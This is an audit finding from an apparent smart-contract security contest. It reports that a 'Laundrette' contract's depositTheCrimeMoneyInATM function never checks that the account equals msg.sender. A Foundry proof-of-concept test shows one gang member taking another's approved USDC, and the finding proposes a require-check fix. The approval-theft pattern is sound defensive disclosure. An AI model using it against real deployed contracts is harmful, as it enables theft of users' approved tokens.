Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Insecure Implementation of depositTheCrimeMoneyInATM Function in The Laundrette Contract

Summary

The depositTheCrimeMoneyInATM function in The Laundrette contract requires users to approve the MoneyShelf contract before making a deposit. Due to the public nature of the mempool and the practice of some users or dApps to encourage maximum approval, there is a risk that a malicious user could exploit this approval to transfer all approved funds to their own account. Additionally, the function does not verify that the account parameter is the same as the msg.sender.

Vulnerability Details

Function: depositTheCrimeMoneyInATM

Issue 1: Approval Exploitation

  1. Users are required to approve the MoneyShelf contract for deposits.

  2. Malicious users can exploit maximum approvals to transfer all approved funds.

Issue 2: Lack of Sender Verification

The function does not check that the account parameter matches the msg.sender, allowing unauthorized transfers.

Impact

  1. Unauthorized Fund Transfers: Malicious users can transfer all approved funds from the victim's account, leading to significant financial loss.

  2. Exploitation Risk: The public mempool and the practice of maximum approvals increase the risk of exploitation.

Proof of Concept

  1. Godfather adds gang memebrs

  2. Gang Member 1 gets 300e6 USDC from the GodFather

  3. Gang Member 2 get nothing from the GodFather

  4. Gang Member 1 approves 300e6 USDC to money shelf

  5. Gang Member 2 calls laundrette.depositTheCrimeMoneyInATM(add1, add2, 300e6), entering Gang member 1 address as the account and his own address as the to address and the amount to be deposited.

  6. Gang Member 2 gets 300e6 in crimeMoney

  7. Gang Member 1 has 0 USDC in the account and 0 Crime Money

Proof of Code

function test_deposit3() public {
address add1 = makeAddr("add1");
address add2 = makeAddr("add2");
vm.prank(godFather);
laundrette.addToTheGang(add1);
vm.prank(godFather);
laundrette.addToTheGang(add2);
vm.prank(godFather);
usdc.transfer(add1, 300e6);
vm.prank(add1);
usdc.approve(address(moneyShelf), 300e6);
vm.prank(add2);
laundrette.depositTheCrimeMoneyInATM(add1, add2, 300e6);
assertEq(crimeMoney.balanceOf(add2), 300e6);
assertEq(usdc.balanceOf(add1), 0);
assertEq(crimeMoney.balanceOf(add1), 0);
}

Tools Used

Manual Review

Recommendations

  1. Implement Sender Verification: Modify the depositTheCrimeMoneyInATM function to ensure that the account parameter matches the msg.sender.

  2. Limit Approval Amounts: Encourage users to approve only the necessary amount required for transactions, rather than maximum approvals.

function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
+ require(account == msg.sender, "you are not authorised");
moneyShelf.depositUSDC(account, to, amount);
}
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.